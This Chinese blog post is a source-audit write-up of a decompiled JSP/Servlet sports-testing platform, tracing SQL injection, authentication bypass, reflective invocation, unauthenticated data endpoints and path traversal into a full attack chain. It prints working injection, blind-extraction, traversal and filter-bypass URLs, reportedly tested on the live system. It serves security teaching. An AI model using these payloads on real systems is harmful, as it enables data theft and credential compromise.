一份 Java Web 源码审计实录:179 个 class 反编译后的攻击面全景
字数 5204
更新时间 2026-10-25 15:32:57

一份 Java Web 源码审计实录:179 个 class 反编译后的攻击面全景

一句话结论:拿到一套 JSP+Servlet 传统架构体育测试平台的源码包(496 个 JSP / 179 个 class / 无 .java),用 web.xml 当路由地图、用 CFR 把 179 个 class 反编译为 164 个 Java,三层递进(路由层→控制层→数据层)审计,一次性揭开了被注释的 SQL 注入过滤器、权限短路逻辑、.do 反射任意调用、全库 Statement 拼接、type 分发无认证数据口、只防一半的路径过滤、operType=132 过滤器豁免后门七类缺陷,串成一条从「未授权拉全量明文密码」到「任意文件读到数据库配置」的完整攻击链。

排版说明:本文为兼容纯文本存储环境做了等价书写——Java 源码示例中的双引号字符串统一改写为单引号(仅示意,不改变逻辑语义);Windows 路径分隔符统一用反斜杠的文字描述或 URL 编码形式 %5C 表示;replaceAll 第二个参数原文为四个反斜杠表示的一个字面反斜杠,本文用「反斜杠」文字描述。

一、为什么做代码审计

目标是一套体育测试平台(Java Web,JSP+Servlet 传统架构),获取到了源码包。市面上大部分 Java 渗透文章都是黑盒视角:扫目录、测注入点、绕 WAF。但当源码在手时,黑盒就是自缚手脚。源码审计能回答三个黑盒永远问不出的问题:入口在哪、防护在哪、数据在哪。

项目概况:496 个 JSP、179 个 class、无 .java 源码;混合栈(Access + SQLServer + MySQL、DWR、JAX-WS)。目录结构里 WEB-INF/web.xml 是首个审计对象(路由地图)。

二、审计第一步:web.xml 是路由地图

拿到源码先别翻代码,先看 web.xml——一个 Servlet 项目的攻击面全在这里:哪些 servlet 暴露、哪些过滤器保护、哪个路径免认证。

发现一:被注释掉的过滤器。 web.xml 里 antiSqlInjection 过滤器被整段注释(filter 定义 + mapping 都在注释符号内):

<!-- <filter>
    <filter-name>antiSqlInjection</filter-name>
    <filter-class>com.oa.filters.AntiSqlInjectionfilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>antiSqlInjection</filter-name>
    <url-pattern>*.jsp</url-pattern>
    <url-pattern>/*</url-pattern>
    <dispatcher>REQUEST</dispatcher>
</filter-mapping> -->

Servlet 里的 Filter 相当于收费站:请求进来先过过滤器再进 Servlet。这个过滤器本来叫 AntiSqlInjection(防 SQL 注入),mapping 范围是 .jsp 和 /(所有路径)。注释掉 = 收费站拆了 = 所有请求直接裸奔进代码。 审计经验:成对的注释符号是审计弱信号首选——被注释的代码 = 厂商曾经部署、后来主动放弃的防线。

但要警惕一个易误判的坑:源码里注释了不代表线上也注释了——源码审计只告诉你这个包的状态,线上长什么样必须实测(后文 0x08 会看到线上其实启用了过滤器)。

三、反编译:CFR 把 179 个 class 变成可读 Java

没有 .java 就反编译。工具选型 CFR 是仍在活跃维护的 Java 反编译器,对老版本 class 兼容性极好:

java -jar cfr-0.152.jar *.class --outputdir decompiled/

179 个 class → 164 个 Java 文件。反编译后的审计路径是三层递进:

第一层 路由层:web.xml——谁暴露、谁被过滤器保护
第二层 控制层:Servlet/Action 的权限检查、参数处理
第三层 数据层:DAO / DButil 的 SQL 构造方式(预编译 or 拼接)

四、发现一:Servlet 的权限检查「短路」逻辑

com.oa.某Servlet.performTask() 的权限判断:

if (!(operType.equals('-1') || operType.equals('1') || operType.equals('911')
   || operType.equals('62') || operType.substring(0, 1).equals('3')
   || (roleList = (String)session.getAttribute('Login_UserRoleList')) == null
   || this.checkRole(operType, roleList))) {
    // 无权限 → error.jsp
}

这段是某 servlet 的门卫。operType 是请求参数(1=登录、6=查询学生、1006=导入成绩……)。门卫放行三类请求:1) 白名单操作:operType 是 -1/1/911/62/以 3 开头(不用登录也能做,如登录本身);2) 已登录且有角色:session 里 Login_UserRoleList 包含该 operType 权限;3) Login_UserRoleList == null → 放行(漏洞就在这)。

为什么是漏洞?正常逻辑应是未登录(没有角色列表)→ 拦截。但代码写成 (roleList = session.getAttribute(...)) == null:未登录时 session 里没有 Login_UserRoleList 这个属性 → roleList 为 null → 这个条件为 true → 整个取反后为 false → 不拦截、直接放行。用人话说:门卫的逻辑是没带工牌的人放行。攻击者未登录直接访问某 servlet?operType=6(查询学生)等非白名单操作,会被放行进业务代码。线上预期响应分两种:401/跳转登录说明已补口子(但修的只是入口、代码缺陷还在);200 + 数据说明未修复、未登录可直达业务代码。

五、一个误报(比漏洞更值钱的教训)

「bCheck 未使用」看起来像认证绕过。 com.oa.某Servlet.checkPassword:

boolean bCheck = UserDAO.checkUser(userNo, passwd);   // bCheck 赋值后从未被引用
User user = UserDAO.getUserByUserNo(userNo);
session.setAttribute('Login_User', (Object)user);     // 看起来无条件登录
session.setAttribute('Login_UserRoleList', ...);
this.callPage('/mainFrame.jsp', request, response);  // 看起来直接进后台

第一眼结论:checkUser 返回值未使用 → 密码错也能登录 → 任意用户登录。这实际上是误报。 真相藏在异常控制流里:UserDAO.checkUser 用抛异常表达失败;performTask 的入口结构是:

public void performTask(...) {
    try {
        ...
        case 1: this.checkPassword(request, param, response); break;
        ...
    }
    catch (Exception ex) {          // ← 所有异常在这里被接住
        request.setAttribute('message', ex.getMessage());  // 密码错误! / 该用户编号不存在!
        this.callPage('/某Web/common/error.jsp', request, response);  // → 跳错误页
    }
}

整条执行链:checkPassword → checkUser 密码错 → 抛异常 → 异常向上冒泡 → 被 performTask 的 catch 接住 → 跳 error.jsp,session.setAttribute 根本不会执行。所以 bCheck 虽没被读,但密码校验是通过抛异常中断实现的,不是真漏洞;线上实测也印证:错误密码一律返回错误页。复盘教训:Java 里 throw 也是控制流;审计要先看校验函数的失败表达方式——return false(后续要判断)与 throw(直接中断)是两种完全不同的语义;「变量赋值后未使用」只是可疑信号不是漏洞结论,必须追到实际控制流再定性。这成了作者反编译审计的必备检查项:先看异常,再谈赋值。

六、发现二:.do 反射调用链(URL 指定代码执行)

com.xql.filter.某Filter.doFilter() 映射 *.do。URL 格式为「类名!方法名.do」,例如 /StudentAction!getStudentListJson.do。过滤器从 URL 拆出类名方法名后反射执行:

String url = servletRequest.getRequestURI();            // /StudentAction!getStudentListJson.do
str = url.substring(start + 1, url.indexOf('.'));       // StudentAction!getStudentListJson
String[] tmp = str.split('!');
className = tmp[0];    // StudentAction
methodName = tmp[1];   // getStudentListJson
String className_ = 'com.xql.action.' + className;      // 拼完整类名
Class c = Class.forName(className_);                    // 反射加载类
Object o = c.newInstance();                             // new 实例
Method m1 = o.getClass().getMethod('setRequest', ...);  // 把 request 塞给 Action
// ……随后反射调用 methodName 无参方法

为什么是洞?三点叠加:1) 类名、方法名由攻击者控制(URL 里叹号前后);2) 没有任何登录检查(getSession(false) 后直接执行,不校验用户);3) Action 里的 SQL 参数从 request 拿 + DAO 全拼接。反直觉的点:反射调用的是无参方法(new Class[0]),但参数并没落空——request 对象被 setRequest 注入进 Action,SQL 参数走 this.getRequest().getParameter() 取,「无参方法 + 可注入」不矛盾。看真实 Action:

public void getStudentListJson() {
    String studentNo = this.getRequest().getParameter('studentNo');          // 参数从你发的请求里取
    String sql = 'select * from student where studentNo=' + 单引号 + studentNo + 单引号;  // 拼接
    list = new DButil().getReslutList(sql, new int[0]);                      // Statement 执行
}

完整利用链,一行 URL = 指定类 + 指定方法 + 传注入参数 + 未认证执行:

/StudentAction!getStudentListJson.do?studentNo=1' and '1'='1

studentNo 拼接进了 SQL(where studentNo=…),and 1=1 恒真 → 反射链真实执行 → 顺带把身份证号、明文口令一起吐了出来。

七、发现三:DAO 层全 Statement 拼接 + type 分发接口

全库拼接的根因。 com.oa.util.DButil 统一封装所有查询,全库 5 处 createStatement(),没有任何 prepareStatement:Statement stmt = con.createStatement();(拼接 SQL 直接执行)。两种写法对比:

拼接(该系统): String sql = 'select * from student where studentNo=引号' + studentNo + '引号';
攻击者输入 20260101' or '1'='1 时,实际 SQL 变成:
select * from student where studentNo='20260101' or '1'='1'   -- 恒真 → 返回全表

预编译占位符(正确): String sql = 'select * from student where studentNo=?';
stmt.setString(1, studentNo);    // 参数走独立通道

一句话:拼接 = 用户输入改 SQL 结构(注入);占位符 = 用户输入永远是数据(安全)。数据库把问号当成一个值,攻击者的引号只是字符串内容,永远不会变成 SQL 代码。全库无预编译 = 每个把参数拼进 SQL 的接口都是潜在注入点,只要找到「参数→SQL→输出」的闭合链即可利用。

type 分发接口:一个参数切出数据口。 com.oa.ImportItemServlet(映射 /某oid/ImportItemServlet)是某 oid 端接口,类里没有任何 session 检查(反编译全文只有 doGet/doPost,无 Login_User 判断),按 type 参数分发业务:

} else if (type.equals('2')) {
    sql = 'select * from user';                                // 用户表全量
    String passWord = h.get('passWord') == null ? '' : (String)h.get('passWord');
    obj.put('password', passWord);                             // 明文密码直接塞 JSON
} else if (type.equals('3')) {
    sql = 'select st.studentNo,st.name,st.sex,st.gradeNo,st.cardNo,st.IDCard,st.classNo,...';  // 身份证字段也在
}

为什么 type 分发高危:开发者习惯一个接口多个 type,以为参数能控制行为就安全了,却忘了认证是独立维度——type 只是业务分支,没人在分支前加登录检查。type=2/3 参数 type 是数字不注入,走的是未授权数据口(全量用户明文密码 + 全量学生身份证),与注入是两条线不同后果但同出「无预编译 + 无认证」这一根因。

八、同一根因第二种后果:管理查询接口的回显盲注

/servlet/某servlet 的管理查询接口存在注入点 queryValue(查询学生成绩时传学号)。「存在性回显」机制是盲注成功的关键:queryValue=正常学号 → 正常回显;queryValue=学号加单引号 → 语法错误异常回显;学号加 and 1=1 → 恒真正常回显。即条件为真→正常回显、条件为假/报错→异常回显——这就是布尔 oracle。

用 EXISTS + left() 逐字符猜密码:

-- 确认 EXISTS 子查询可用(用户名存在 → 恒真 → 正常回显)
queryValue=210401010001' and exists(select * from USER where userNo='admin') and '1'='1
-- left() 逐字符盲注:猜密码第一位
queryValue=210401010001' and exists(select * from USER where userNo='admin' and left(passWord,1)='h') and '1'='1
#   → 正常回显 → 首字符确实是 h
queryValue=210401010001' and exists(select * from USER where userNo='admin' and left(passWord,1)='l') and '1'='1
#   → 异常回显 → 排除 l

逐字符遍历直到 left(passWord,10)=完整密码 命中,即可还原管理员密码(已脱敏)。

九、发现四:任意文件下载(只防一半的路径过滤)

com.oa.CommonFileDownload(映射 /fileDownload,无认证):

String allPathName = request.getParameter('allPathName');   // 完全可控
allPathName = allPathName.replaceAll(正斜杠, Matcher.quoteReplacement(File.separator));
//        ↑ 只把正斜杠换成反斜杠(Windows 分隔符)
filePath = allPathName.substring(0, allPathName.lastIndexOf(File.separator));
fileName = allPathName.substring(allPathName.lastIndexOf(File.separator) + 1);
this.realPath = request.getSession().getServletContext().getRealPath(filePath);
file = new File(this.realPath, fileName);                    // new File 直接拼
if (file.exists()) { … 读文件流输出 … }

漏洞原理:开发者以为 replaceAll(正斜杠→反斜杠) 能把所有路径分隔符统一转换堵住穿越,但只处理了正斜杠——攻击者提交「点点反斜杠」形式(用反斜杠),replaceAll 发现没有正斜杠可替换、原样保留,new File(realPath, fileName) 直接拼出越权路径。这是 Windows 上高频的「防一半」漏洞模式:黑盒很难猜中这种写法,源码一翻就透。线上验证:

# ① 读应用核心配置 web.xml
/fileDownload?method=CommonDownload&filePath=WEB-INF&fileName=web.xml
# ② 读系统文件 win.ini(跨出 Web 目录,任意文件读取)
/fileDownload?method=CommonDownload&allPathName=..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini
# ③ 双参数分支(零过滤)同样可穿越
/fileDownload?method=CommonDownload&filePath=&fileName=..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini

allPathName 分支:replaceAll 只处理正斜杠,%5C(编码反斜杠)原样进「点点」穿越 → 读出 windows 下 win.ini;filePath+fileName 分支零过滤。web.xml 明文读出意味着下一步可读数据库配置文件(dbConfig.properties 等)——任意文件读取直接升级为凭据面泄露。

十、线上的过滤器绕过:operType=132 豁免参数

前面说源码里过滤器被注释,但线上实测发现过滤器其实是启用的(带注入字符的请求返回「参数中含有非法字符」拦截页)。而这个启用状态的过滤器可被一个业务豁免参数整体绕过:

# 实测 1:不带豁免参数,注入被过滤器拦截
/某Web/news/New_detail.jsp?id=1 and 1=1      → HTTP 500「参数中含有非法字符」
# 实测 2:加 operType=132,过滤器直接放行
/某Web/news/New_detail.jsp?id=1 and 1=1&operType=132   → HTTP 302 → HTTP 200(SQL 真实执行,过滤被绕过)

原理:过滤器的白名单逻辑里 operType=132(某项业务豁免)会把整条请求标记为不需要过滤——任何请求附加 operType=132 即可完全绕过 SQL 注入防护。这是「业务豁免参数 = 过滤器后门」的典型模式:黑盒发现它全靠运气(要试对参数名),审计里扫一眼过滤器的豁免分支就拿到了。

十一、一条完整的攻击链

代码审计相对黑盒的核心价值:把零散的代码缺陷组织成攻击链,并给出每个缺陷的精确源码定位(哪个文件、哪一行、哪个函数)——提交漏洞时修复方直接照源码改即可。本项目的链:

① type 分发接口(无认证)→ /某oid/ImportItemServlet?type=2/3
        ↓  全量用户明文密码 + 全量学生数据(含身份证)
② 管理查询注入 → queryValue EXISTS+left() 盲注(与①密码交叉验证)
        ↓
③ 泄露凭据登录 → 进入管理后台
        ↓
④ fileDownload allPathName → 任意文件读取(只防一半的过滤)
        ↓
⑤ .do 反射链 / operType=132 过滤器绕过 → 全站注入面

十二、审计方法论总结

  1. 先画地图再审计:web.xml → filter → servlet → DAO,快速建立攻击面全景;被注释的过滤器是弱信号首选。
  2. 反编译三层递进:路由层(谁暴露)→ 控制层(权限检查)→ 数据层(SQL 构造方式)。
  3. 先看校验函数的失败表达方式:return false 与 throw Exception 语义完全不同——bCheck 未使用被误读成认证丢弃就是真实翻车案例。
  4. 全库搜 createStatement:无预编译 = 注入面全开;顺着「参数→SQL→输出」找闭合链。
  5. 路径过滤只防一半是惯例:replaceAll(正斜杠→反斜杠) 这类写法在 Windows 上等于没防。
  6. type 分发接口是高危扇区:一个接口按参数分发多业务,无认证 = 数据口。
  7. 业务豁免参数 = 过滤器后门:operType=132 这类豁免位是绕过防护最优雅的入口。
  8. 审计不等于可利用:线上验证分「可利用/已加防护」两类记录;但源码缺陷的持久性决定了审计结论永远有价值。
相似文章
相似文章
小程序二维码
 全屏